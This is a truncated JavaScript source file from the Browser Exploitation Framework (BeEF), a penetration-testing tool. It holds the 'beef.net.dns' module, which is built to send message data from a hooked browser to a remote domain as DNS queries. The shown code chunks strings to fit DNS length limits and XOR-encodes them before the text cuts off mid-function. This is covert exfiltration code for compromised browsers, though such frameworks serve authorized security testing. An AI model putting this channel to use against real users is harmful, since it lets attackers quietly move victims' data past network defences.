// // Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // /*! * @literal object: beef.net.dns * * request object structure: * + msgId: {Integer} Unique message ID for the request. * + domain: {String} Remote domain to retrieve the data. * + wait: {Integer} Wait time between requests (milliseconds) - NOT IMPLEMENTED * + callback: {Function} Callback function to receive the number of requests sent. */ beef.net.dns = { handler: "dns", send: function(msgId, messageString, domain, wait, callback) { var dom = document.createElement('b'); // DNS settings var max_domain_length = 255-5-5-5-5-5; var max_segment_length = max_domain_length - domain.length; // splits strings into chunks String.prototype.chunk = function(n) { if (typeof n=='undefined') n=100; return this.match(RegExp('.{1,'+n+'}','g')); }; // XORs a string xor_encrypt = function(str, key) { var result=""; for(i=0;i